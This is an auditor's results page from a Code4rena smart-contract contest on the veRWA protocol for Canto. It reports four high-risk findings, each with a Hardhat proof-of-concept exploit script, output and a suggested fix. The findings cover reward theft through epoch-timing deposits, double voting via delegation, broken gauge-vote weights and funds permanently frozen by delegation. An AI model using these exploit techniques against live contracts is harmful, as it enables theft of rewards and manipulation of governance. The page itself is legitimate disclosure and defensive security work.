veRWA - Yanchuan's results

Incentivization Primitive for Real World Assets on Canto

General Information

Platform: Code4rena

Start Date: 07/08/2023

Pot Size: $36,500 USDC

Total HM: 11

Participants: 125

Period: 3 days

Judge: alcueca

Total Solo HM: 4

Id: 274

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 7/125

Findings: 4

Award: $423.56

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Labels

bug
3 (High Risk)
satisfactory
sponsor confirmed
upgraded by judge
edited-by-warden
duplicate-416

Awards

143.0396 USDC - $143.04

External Links

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L70-L73 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L91-L94 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L133-L142

Vulnerability details

Impact

The duration of liquidity provisioning is very important, and should be taken into account when distributing rewards. Otherwise, rewards can be susceptible to theft by malicious individuals.

LendingLedger only records total balance of each market, and balances of each user in this market. Those values are updated on every deposit / withdrawal by a user. An individual's earnings depend on the proportion of liquidity tokens they provide compared to the total market liquidity tokens.

_checkpoint_lender(lendingMarket, _lender, type(uint256).max); uint256 currEpoch = (block.timestamp / WEEK) * WEEK; int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta; require(updatedLenderBalance >= 0, "Lender balance underflow"); // Sanity check performed here, but the market should ensure that this never happens lendingMarketBalances[lendingMarket][_lender][currEpoch] = uint256(updatedLenderBalance); _checkpoint_market(lendingMarket, type(uint256).max); int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta; require(updatedMarketBalance >= 0, "Market balance underflow"); // Sanity check performed here, but the market should ensure that this never happens lendingMarketTotalBalance[lendingMarket][currEpoch] = uint256(updatedMarketBalance);

If an individual provides liquidity at the beginning of an epoch but later withdraws it, their eventual provided liquidity becomes 0, resulting in no earnings. Conversely, if someone offers liquidity shortly before the end of an epoch and promptly withdraws it at the start of the next epoch, they will receive earnings.

Therefore, the measurement for calculating the eventual earnings should be based on the amount of tokens deposited by an individual multiplied by the duration of their deposit.

Proof of Concept

In the following example, let's assume that user1 deposited 100 tokens at the beginning of an epoch and withdrew all 100 tokens before the epoch ended. User2 deposited 100 tokens before the epoch ended and immediately withdrew 100 tokens at the start of the next epoch. The governance protocol distributed 100 CANTO tokens as staking rewards.

import { ethers } from "hardhat"; import { mine } from "@nomicfoundation/hardhat-network-helpers"; async function main() { const now = Math.floor(Date.now()/1000); const epoch1 = Math.floor(now/(7*24*3600))*(7*24*3600) const epoch2 = epoch1 + (7*24*3600) const epoch3 = epoch2 + (7*24*3600) const goto_epoch2_begin = epoch2 - now; // depoly contracts const [owner, governance, user1, user2, market] = await ethers.getSigners() const votingEscrow = await ethers.deployContract("VotingEscrow", ["Vote-escrowed CANTO", "veCANTO"]) await votingEscrow.waitForDeployment() const gaugeController = await ethers.deployContract("GaugeController", [votingEscrow.target, governance.address]) await gaugeController.waitForDeployment() const lendingLedger = await ethers.deployContract("LendingLedger", [gaugeController.target, governance.address]) await lendingLedger.waitForDeployment() console.log(`VotingEscrow address: ${votingEscrow.target}`) console.log(`GaugeController address: ${gaugeController.target}`); console.log(`LendingLedger address: ${lendingLedger.target}`) // initialization let tx = await votingEscrow.createLock(1000000000, {value: 1000000000}) await tx.wait() tx = await gaugeController.connect(governance).add_gauge(market.address) await tx.wait() tx = await lendingLedger.connect(governance).whiteListLendingMarket(market.address, true) await tx.wait() tx = await gaugeController.vote_for_gauge_weights(market.address, 10000) await tx.wait() // go to the beginning of epoch2 mine(goto_epoch2_begin); // user1 adds liquidity tx = await lendingLedger.connect(market).sync_ledger(user1.address, 100) await tx.wait() // go to the end of epoch2 (100 seconds left) mine(7*24*3600 - 100); // user1 withdraws liquidity tx = await lendingLedger.connect(market).sync_ledger(user1.address, -100) await tx.wait() // user2 adds liquidity tx = await lendingLedger.connect(market).sync_ledger(user2.address, 100) await tx.wait() // goto to the beginning of epoch3 mine(100) // user2 withdraws liquidity tx = await lendingLedger.connect(market).sync_ledger(user2.address, -100) await tx.wait() // governance adds rewards (100 CANTO) await governance.sendTransaction({to: lendingLedger.target, value: ethers.parseEther("100")}); tx = await lendingLedger.connect(governance).setRewards(epoch2, epoch2, ethers.parseEther("100")) await tx.wait() let bal_user1 = await ethers.provider.getBalance(user1.address) let bal_user2 = await ethers.provider.getBalance(user2.address) console.log(`\nBefore claim, balance of user1 is ${ethers.formatEther(bal_user1)}, balance of user2 is: ${ethers.formatEther(bal_user2)}`) // claim rewards tx = await lendingLedger.connect(user1).claim(market.address, epoch2, epoch2) await tx.wait() tx = await lendingLedger.connect(user2).claim(market.address, epoch2, epoch2) await tx.wait() bal_user1 = await ethers.provider.getBalance(user1.address) bal_user2 = await ethers.provider.getBalance(user2.address) console.log(`After claim, balance of user1 is ${ethers.formatEther(bal_user1)}, balance of user2 is: ${ethers.formatEther(bal_user2)}\n`) } main().catch((error) => { console.error(error); process.exitCode = 1; });

The code execution result shows that user2 received the full 100 CANTO reward tokens, while user1 did not receive any rewards. This outcome aligns with the explanation provided earlier. User2 received rewards because they maintained their liquidity provision until the epoch ended, even though they withdrew their tokens at the beginning of the next epoch. User1, on the other hand, withdrew their tokens before the epoch ended, resulting in a provided liquidity of 0 and no rewards being earned. This illustrates the significance of the liquidity provision duration in determining the distribution of rewards.

[nian@localhost hardhat]$ npx hardhat --network local run scripts/test.ts VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3 GaugeController address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 LendingLedger address: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0 Before claim, balance of user1 is 10000.0, balance of user2 is: 10000.0 After claim, balance of user1 is 9999.999957343036960448, balance of user2 is: 10099.999951192353486904

Tools Used

Hardhat

LendingLedger needs to calculate users' balances and the total balance in the market based on the tokens deposited and withdrawn by users, along with the corresponding time. The formulas for calculating user balance and total balance are as follows:

user_balance += _delta * (currEpoch + WEEK - block.timestamp) total_balance += _delta * (currEpoch + WEEK - block.timestamp)

After calculating user balances and total balances, the tokens are distributed as rewards based on the proportion of each user's balance to the total balance. This allocation ensures that users are rewarded according to their contribution to the overall liquidity.

The complete patch is as follows (due to time constraints, this patch might not be perfect).

diff --git a/LendingLedger.sol.orig b/LendingLedger.sol index 145a5b8..d702da9 100644 --- a/LendingLedger.sol.orig +++ b/LendingLedger.sol @@ -15,10 +15,14 @@ contract LendingLedger { mapping(address => bool) public lendingMarketWhitelist; /// @dev Lending Market => Lender => Epoch => Balance mapping(address => mapping(address => mapping(uint256 => uint256))) public lendingMarketBalances; // cNote balances of users within the lending markets, indexed by epoch + /// @dev Lending Market => Lender => Epoch => Token + mapping(address => mapping(address => mapping(uint256 => uint256))) public lendingMarketTokens; /// @dev Lending Market => Lender => Epoch mapping(address => mapping(address => uint256)) public lendingMarketBalancesEpoch; // Epoch when the last update happened /// @dev Lending Market => Epoch => Balance mapping(address => mapping(uint256 => uint256)) public lendingMarketTotalBalance; // Total balance locked within the market, i.e. sum of lendingMarketBalances for all + /// @dev Lending Market => Epoch => Token + mapping(address => mapping(uint256 => uint256)) public lendingMarketTotalToken; /// @dev Lending Market => Epoch mapping(address => uint256) public lendingMarketTotalBalanceEpoch; // Epoch when the last update happened @@ -67,9 +71,10 @@ contract LendingLedger { lendingMarketBalancesEpoch[_market][_lender] = currEpoch; } else if (lastUserUpdateEpoch < currEpoch) { // Fill in potential gaps in the user balances history - uint256 lastUserBalance = lendingMarketBalances[_market][_lender][lastUserUpdateEpoch]; - for (uint256 i = lastUserUpdateEpoch; i <= updateUntilEpoch; i += WEEK) { - lendingMarketBalances[_market][_lender][i] = lastUserBalance; + uint256 lastUserToken = lendingMarketTokens[_market][_lender][lastUserUpdateEpoch]; + for (uint256 i = lastUserUpdateEpoch + WEEK; i <= updateUntilEpoch; i += WEEK) { + lendingMarketTokens[_market][_lender][i] = lastUserToken; + lendingMarketBalances[_market][_lender][i] = lastUserToken * WEEK; } if (updateUntilEpoch > lastUserUpdateEpoch) { lendingMarketBalancesEpoch[_market][_lender] = updateUntilEpoch; @@ -88,9 +93,10 @@ contract LendingLedger { lendingMarketTotalBalanceEpoch[_market] = currEpoch; } else if (lastMarketUpdateEpoch < currEpoch) { // Fill in potential gaps in the market total balances history - uint256 lastMarketBalance = lendingMarketTotalBalance[_market][lastMarketUpdateEpoch]; - for (uint256 i = lastMarketUpdateEpoch; i <= updateUntilEpoch; i += WEEK) { - lendingMarketTotalBalance[_market][i] = lastMarketBalance; + uint256 lastMarketToken = lendingMarketTotalToken[_market][lastMarketUpdateEpoch]; + for (uint256 i = lastMarketUpdateEpoch + WEEK; i <= updateUntilEpoch; i += WEEK) { + lendingMarketTotalToken[_market][i] = lastMarketToken; + lendingMarketTotalBalance[_market][i] = lastMarketToken * WEEK; } if (updateUntilEpoch > lastMarketUpdateEpoch) { // Only update epoch when we actually checkpointed to avoid decreases @@ -132,13 +138,17 @@ contract LendingLedger { _checkpoint_lender(lendingMarket, _lender, type(uint256).max); uint256 currEpoch = (block.timestamp / WEEK) * WEEK; - int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta; - require(updatedLenderBalance >= 0, "Lender balance underflow"); // Sanity check performed here, but the market should ensure that this never happens + int256 updatedLenderToken = int256(lendingMarketTokens[lendingMarket][_lender][currEpoch]) + _delta; + require(updatedLenderToken >= 0, "Lender balance underflow"); // Sanity check performed here, but the market should ensure that this never happens + int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta * int256(currEpoch + WEEK - block.timestamp); + lendingMarketTokens[lendingMarket][_lender][currEpoch] = uint256(updatedLenderToken); lendingMarketBalances[lendingMarket][_lender][currEpoch] = uint256(updatedLenderBalance); _checkpoint_market(lendingMarket, type(uint256).max); - int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta; - require(updatedMarketBalance >= 0, "Market balance underflow"); // Sanity check performed here, but the market should ensure that this never happens + int256 updatedMarketToken = int256(lendingMarketTotalToken[lendingMarket][currEpoch]) + _delta; + require(updatedMarketToken >= 0, "Market balance underflow"); // Sanity check performed here, but the market should ensure that this never happens + int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta *int256(currEpoch + WEEK - block.timestamp); + lendingMarketTotalToken[lendingMarket][currEpoch] = uint256(updatedMarketToken); lendingMarketTotalBalance[lendingMarket][currEpoch] = uint256(updatedMarketBalance); }

Running the PoC program again, the result is as follows.

[nian@localhost hardhat]$ npx hardhat --network run scripts/test.ts VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3 GaugeController address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 LendingLedger address: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0 Before claim, balance of user1 is 10000.0, balance of user2 is: 10000.0 After claim, balance of user1 is 10099.985067158588035002, balance of user2 is: 10000.014832362580534349

Assessed type

Context

#0 - c4-pre-sort

2023-08-12T02:09:34Z

141345 marked the issue as primary issue

#1 - OpenCoreCH

2023-08-16T12:42:48Z

Valid finding, not sure if this will be a problem in practice as the lending markets will enforce / incentivize long lending periods (with various mechanisms that is up to them, e.g. dynamic interest rates, fees, bonuses, etc...) because these will be lending markets for real world assets (mortgages, bonds, etc...) which usually have a fixed duration and where people cannot just withdraw arbitrarily.

#2 - c4-sponsor

2023-08-16T12:42:57Z

OpenCoreCH marked the issue as sponsor confirmed

#3 - c4-judge

2023-08-25T11:00:09Z

alcueca changed the severity to 2 (Med Risk)

#4 - c4-judge

2023-08-25T11:00:24Z

alcueca changed the severity to 3 (High Risk)

#5 - c4-judge

2023-08-25T11:01:14Z

alcueca changed the severity to 2 (Med Risk)

#6 - c4-judge

2023-08-25T11:01:32Z

alcueca changed the severity to 3 (High Risk)

#7 - c4-judge

2023-08-25T11:02:28Z

alcueca marked the issue as selected for report

#8 - c4-judge

2023-08-25T11:07:10Z

alcueca marked issue #416 as primary and marked this issue as a duplicate of 416

#9 - c4-judge

2023-08-25T21:59:27Z

alcueca marked the issue as satisfactory

Awards

36.9443 USDC - $36.94

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-396

External Links

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L356-L387

Vulnerability details

Impact

veRWA supports delegation, allowing users to delegate their voting power to others. However, the delegate functionality in veRWA has a flaw: users can vote first and then delegate their voting power to someone else. The delegatee can continue to vote, effectively allowing users to double their voting power.

Proof of Concept

In the following PoC example, two users, user1 and user2, are created. Both users deposit 100 CANTO tokens. Two gauges, market1 and market2, are also created. user1 votes for market1 and then delegates its voting power to user2. user2 then votes for market2.

import { ethers } from "hardhat"; import { mine } from "@nomicfoundation/hardhat-network-helpers"; async function main() { const now = Math.floor(Date.now()/1000); const epoch1 = Math.floor(now/(7*24*3600))*(7*24*3600) const epoch2 = epoch1 + (7*24*3600) const epoch3 = epoch2 + (7*24*3600) const epoch4 = epoch3 + (7*24*3600) const goto_epoch2_begin = epoch2 - now; // depoly contracts const [owner, governance, user1, user2, user3, market1, market2] = await ethers.getSigners() const votingEscrow = await ethers.deployContract("VotingEscrow", ["Vote-escrowed CANTO", "veCANTO"]) await votingEscrow.waitForDeployment() const gaugeController = await ethers.deployContract("GaugeController", [votingEscrow.target, governance.address]) await gaugeController.waitForDeployment() const lendingLedger = await ethers.deployContract("LendingLedger", [gaugeController.target, governance.address]) await lendingLedger.waitForDeployment() console.log(`VotingEscrow address: ${votingEscrow.target}`) console.log(`GaugeController address: ${gaugeController.target}`); console.log(`LendingLedger address: ${lendingLedger.target}\n`) // initialization let tx = await votingEscrow.connect(user1).createLock(ethers.parseEther("100"), {value: ethers.parseEther("100")}) await tx.wait() tx = await votingEscrow.connect(user2).createLock(ethers.parseEther("100"), {value: ethers.parseEther("100")}) await tx.wait() tx = await gaugeController.connect(governance).add_gauge(market1.address) await tx.wait() tx = await lendingLedger.connect(governance).whiteListLendingMarket(market1.address, true) await tx.wait() tx = await gaugeController.connect(governance).add_gauge(market2.address) await tx.wait() tx = await lendingLedger.connect(governance).whiteListLendingMarket(market2.address, true) await tx.wait() // user1 votes tx = await gaugeController.connect(user1).vote_for_gauge_weights(market1.address, 10000) await tx.wait() // user1 delegates his voting to user2. tx = await votingEscrow.connect(user1).delegate(user2.address); await tx.wait() // user2 votes tx = await gaugeController.connect(user2).vote_for_gauge_weights(market2.address, 10000) await tx.wait() // go to the beginning of epoch2 mine(goto_epoch2_begin); // get relative weight of market1 and market2 const market1_weight = await gaugeController.gauge_relative_weight(market1.address, epoch2) console.log(`market1 weight: ${market1_weight}`) const market2_weight = await gaugeController.gauge_relative_weight(market2.address, epoch2) console.log(`market1 weight: ${market2_weight}`) } main().catch((error) => { console.error(error); process.exitCode = 1; });

The PoC script prints out the relative weights of market1 and market2. It's evident that the relative weight of market2 is twice that of market1, indicating that user2 used the voting power of user1 while voting.

[nian@localhost hardhat]$ npx hardhat run scripts/test3.ts VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3 GaugeController address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 LendingLedger address: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0 market1 weight: 333333333333333333 market1 weight: 666666666666666666

Tools Used

Hardhat

Modify the delegation voting mechanism so that if a user has already voted, they cannot delegate their voting power to someone else.

Assessed type

Context

#0 - c4-pre-sort

2023-08-12T02:02:39Z

141345 marked the issue as duplicate of #45

#1 - c4-pre-sort

2023-08-13T13:16:56Z

141345 marked the issue as duplicate of #99

#2 - c4-pre-sort

2023-08-13T17:09:16Z

141345 marked the issue as duplicate of #178

#3 - c4-pre-sort

2023-08-13T17:36:43Z

141345 marked the issue as not a duplicate

#4 - c4-pre-sort

2023-08-13T17:37:05Z

141345 marked the issue as duplicate of #86

#5 - c4-judge

2023-08-25T10:51:22Z

alcueca changed the severity to 2 (Med Risk)

#6 - c4-judge

2023-08-25T10:51:34Z

alcueca changed the severity to 3 (High Risk)

#7 - c4-judge

2023-08-25T10:54:53Z

alcueca marked the issue as satisfactory

Findings Information

Labels

bug
3 (High Risk)
satisfactory
sponsor confirmed
upgraded by judge
duplicate-288

Awards

211.9105 USDC - $211.91

External Links

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L211-L278

Vulnerability details

Impact

The voting logic in the GaugeController contains an error. If a user casts two consecutive votes for the same gauge, the result after the second vote is incorrect.

Proof of Concept

In this example, user1 has cast two votes for market1. The first vote was 100%, and the second vote was 10%. Due to the presence of only one user (user1) and one gauge (market1) in this example, after the second vote, the relative weight of market1 should be 100%. However, the actual result is showing 0% instead.

import { ethers } from "hardhat"; import { mine } from "@nomicfoundation/hardhat-network-helpers"; async function main() { const now = Math.floor(Date.now()/1000); const epoch1 = Math.floor(now/(7*24*3600))*(7*24*3600) const epoch2 = epoch1 + (7*24*3600) const epoch3 = epoch2 + (7*24*3600) // depoly contracts const [owner, governance, user1, user2, user3, market1, market2] = await ethers.getSigners() const votingEscrow = await ethers.deployContract("VotingEscrow", ["Vote-escrowed CANTO", "veCANTO"]) await votingEscrow.waitForDeployment() const gaugeController = await ethers.deployContract("GaugeController", [votingEscrow.target, governance.address]) await gaugeController.waitForDeployment() const lendingLedger = await ethers.deployContract("LendingLedger", [gaugeController.target, governance.address]) await lendingLedger.waitForDeployment() console.log(`VotingEscrow address: ${votingEscrow.target}`) console.log(`GaugeController address: ${gaugeController.target}`); console.log(`LendingLedger address: ${lendingLedger.target}\n`) // initialization let tx = await votingEscrow.connect(user1).createLock(ethers.parseEther("100"), {value: ethers.parseEther("100")}) await tx.wait() tx = await gaugeController.connect(governance).add_gauge(market1.address) await tx.wait() tx = await lendingLedger.connect(governance).whiteListLendingMarket(market1.address, true) await tx.wait() // user1 votes tx = await gaugeController.connect(user1).vote_for_gauge_weights(market1.address, 10000) await tx.wait() tx = await gaugeController.checkpoint_gauge(market1.address) await tx.wait() tx = await gaugeController.connect(user1).vote_for_gauge_weights(market1.address, 1000) await tx.wait() // go to epoch2 mine(7*24*3600); tx = await gaugeController.checkpoint_gauge(market1.address) await tx.wait() // get relative weight of market1 let market1_weight = await gaugeController.gauge_relative_weight(market1.address, epoch2) console.log(`relativeweight of market1 is ${market1_weight}`) } main().catch((error) => { console.error(error); process.exitCode = 1; });

The running results of the testing script are as follows:

[nian@localhost hardhat]$ npx hardhat run scripts/test4.ts VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3 GaugeController address: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 LendingLedger address: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0 relativeweight of market1 is 0

Tools Used

Hardhat

Correct the user voting logic to ensure that the results after each vote are accurate.

Assessed type

Context

#0 - c4-pre-sort

2023-08-12T16:44:25Z

141345 marked the issue as primary issue

#1 - 141345

2023-08-15T02:41:37Z

inconsistancy when voting for the same gauge for multiple times

#2 - OpenCoreCH

2023-08-17T10:10:28Z

The warden did not point out the problem here, but it is another duplicate of the time_weight initialization problem (https://github.com/code-423n4/2023-08-verwa-findings/issues/288). Adding this line after the add_gauge call fixes the PoC:

  tx = await gaugeController.connect(governance).change_gauge_weight(market1.address, 0)
  await tx.wait()

#3 - c4-sponsor

2023-08-17T10:10:45Z

OpenCoreCH marked the issue as sponsor confirmed

#4 - c4-judge

2023-08-25T10:49:27Z

alcueca marked the issue as duplicate of #288

#5 - c4-judge

2023-08-25T10:49:34Z

alcueca marked the issue as satisfactory

#6 - c4-judge

2023-08-25T22:44:45Z

alcueca changed the severity to 2 (Med Risk)

#7 - c4-judge

2023-08-25T22:45:02Z

alcueca changed the severity to 3 (High Risk)

Awards

31.6666 USDC - $31.67

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
edited-by-warden
duplicate-182

External Links

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L331 https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L383-L384

Vulnerability details

Impact

Users can delegate their voting rights to others, but this could potentially result in their funds being permanently frozen. According to the withdraw() function, users need to ensure that they have not delegated their voting rights before making a withdrawal.

According to the delegate() function, delegated voting must satisfy the following conditions:

require(toLocked.end > block.timestamp, "Delegatee lock expired"); require(toLocked.end >= fromLocked.end, "Only delegate to longer lock");

In the example below, Alice deposits 100 tokens at epoch 1, Bob deposits 100 tokens at epoch 2, and Alice delegates her voting rights to Bob at epoch 3. After 5 years, Alice becomes eligible to make a withdrawal. She needs to first call delegate() to revoke the delegation. However, none of those conditions can be satisfied, resulting in Alice being unable to withdraw her funds.

In order for Alice to make a withdrawal, she must always remember that she delegated her voting rights to Bob and, before the unlocking time arrives, she needs to call delegate() to revoke the delegation. However, even with this approach, revoking the delegation is not possible due to Alice's unlocking time being earlier than Bob's. To be able to revoke the delegation, Alice must first call increaseAmount() to deposit an additional sum of funds, which will update her unlock time. However, since Alice's unlock time has been updated, she must wait another 5 years before being able to make a withdrawal.

Proof of Concept

The content of the PoC testing script is as follows:

import { ethers } from "hardhat"; import { mine } from "@nomicfoundation/hardhat-network-helpers"; async function main() { // depoly contract const [owner, alice, bob] = await ethers.getSigners() const votingEscrow = await ethers.deployContract("VotingEscrow", ["Vote-escrowed CANTO", "veCANTO"]) await votingEscrow.waitForDeployment() console.log(`VotingEscrow address: ${votingEscrow.target}`) // Alice deposits 100 CANTO let tx = await votingEscrow.connect(alice).createLock(ethers.parseEther("100"), {value: ethers.parseEther("100")}) await tx.wait() let unlock_time = (await votingEscrow.locked(alice.address)).end console.log(unlock_time) // Bob deposits 100 CANTO mine(7*24*3600) tx = await votingEscrow.connect(bob).createLock(ethers.parseEther("100"), {value: ethers.parseEther("100")}) await tx.wait() // Alice delegates to Bob mine(7*24*3600) tx = await votingEscrow.connect(alice).delegate(bob.address) await tx.wait() // Alice tries to revoke delegation 5 years later mine(24*3600*364*5) tx = await votingEscrow.connect(alice).delegate(alice.address) await tx.wait() } // We recommend this pattern to be able to use async/await everywhere // and properly handle errors. main().catch((error) => { console.error(error); process.exitCode = 1; });

The execution result of the PoC script shows the message 'Delegatee lock expired' indicating that Alice is unable to revoke the delegation.

[nian@localhost hardhat]$ npx hardhat run scripts/test2.ts VotingEscrow address: 0x5FbDB2315678afecb367f032d93F642f64180aa3 1848873600n Error: VM Exception while processing transaction: reverted with reason string 'Delegatee lock expired' at VotingEscrow.delegate (contracts/VotingEscrow.sol:673) at VotingEscrow.delegate (contracts/VotingEscrow.sol:725) at processTicksAndRejections (node:internal/process/task_queues:96:5) at async HardhatNode._mineBlockWithPendingTxs (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1840:23) at async HardhatNode.mineBlock (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:517:16) at async EthModule._sendTransactionAndReturnHash (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1532:18) at async HardhatNetworkProvider.request (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:123:18) at async HardhatEthersSigner.sendTransaction (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/@nomicfoundation/hardhat-ethers/src/signers.ts:125:18) at async send (/home/nian/life/blockchain/2023/projects/code4rena/vewra/hardhat/node_modules/ethers/src.ts/contract/contract.ts:299:20)

Tools Used

Hardhat

I would recommend modifying the withdraw() function as follows: If a user has delegated their voting rights to someone else, allow them to revoke the delegation (without checking the unlock time) and then proceed with the withdrawal.

Assessed type

Context

#0 - c4-pre-sort

2023-08-11T11:54:23Z

141345 marked the issue as primary issue

#1 - c4-pre-sort

2023-08-13T12:00:48Z

141345 marked the issue as duplicate of #112

#2 - c4-pre-sort

2023-08-13T12:00:54Z

141345 marked the issue as not a duplicate

#3 - c4-pre-sort

2023-08-13T12:01:24Z

141345 marked the issue as duplicate of #178

#4 - c4-judge

2023-08-24T07:14:02Z

alcueca marked the issue as duplicate of #82

#5 - c4-judge

2023-08-24T07:20:39Z

alcueca changed the severity to 2 (Med Risk)

#6 - c4-judge

2023-08-24T07:34:54Z

alcueca marked the issue as satisfactory

#7 - c4-judge

2023-08-29T06:37:36Z

alcueca changed the severity to 3 (High Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter